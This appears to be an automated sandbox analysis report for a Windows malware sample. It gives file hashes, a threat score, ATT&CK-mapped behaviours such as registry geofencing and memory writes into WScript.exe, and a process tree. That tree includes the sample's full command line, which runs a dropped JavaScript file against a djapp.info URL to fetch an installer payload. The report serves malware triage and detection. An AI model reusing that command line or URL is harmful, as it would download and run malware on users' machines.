b3dc4afc3b5d4c239fc854e85da13063b45898fb7ddc1cee01cb316f4a5f9b9b

General

Target

fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe
Size

184KB
MD5

fca7e89b4a4cf615f84895dc9b68cd73
SHA1

b62def6d271a4c136e99c147b0a86a85f6bdb464
SHA256

b3dc4afc3b5d4c239fc854e85da13063b45898fb7ddc1cee01cb316f4a5f9b9b
SHA512

600a8af1fba5bd6646776953ef01a0453ac7062085b703dc572e95993a958338f59784eae63fb6efa0686544b3395063b647f25ca85c348f150c87aa3dd74cbc
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3x:/7BSH8zUB+nGESaaRvoB7FJNndnc

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
16	2172	WScript.exe
22	2348	WScript.exe
26	1204	WScript.exe
47	3732	WScript.exe
48	3732	WScript.exe
52	780	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4912	3868	WerFault.exe	81

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3868 wrote to memory of 2172	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	82
PID 3868 wrote to memory of 2172	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	82
PID 3868 wrote to memory of 2172	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	82
PID 3868 wrote to memory of 2348	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	83
PID 3868 wrote to memory of 2348	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	83
PID 3868 wrote to memory of 2348	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	83
PID 3868 wrote to memory of 1204	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	84
PID 3868 wrote to memory of 1204	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	84
PID 3868 wrote to memory of 1204	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	84
PID 3868 wrote to memory of 3732	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	93
PID 3868 wrote to memory of 3732	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	93
PID 3868 wrote to memory of 3732	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	93
PID 3868 wrote to memory of 780	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	94
PID 3868 wrote to memory of 780	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	94
PID 3868 wrote to memory of 780	3868	fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe	94

C:\Users\Admin\AppData\Local\Temp\fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\fca7e89b4a4cf615f84895dc9b68cd73_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3868
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9BE2.js" http://www.djapp.info/?domain=pDvKkDzvFh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf9BE2.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2172
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9BE2.js" http://www.djapp.info/?domain=pDvKkDzvFh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf9BE2.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2348
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9BE2.js" http://www.djapp.info/?domain=pDvKkDzvFh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf9BE2.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1204
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9BE2.js" http://www.djapp.info/?domain=pDvKkDzvFh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf9BE2.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3732
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9BE2.js" http://www.djapp.info/?domain=pDvKkDzvFh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf9BE2.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:780
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3868 -s 1448
  2⤵
  - Program crash
  PID:4912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3868 -ip 3868
1⤵
PID:3948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf9BE2.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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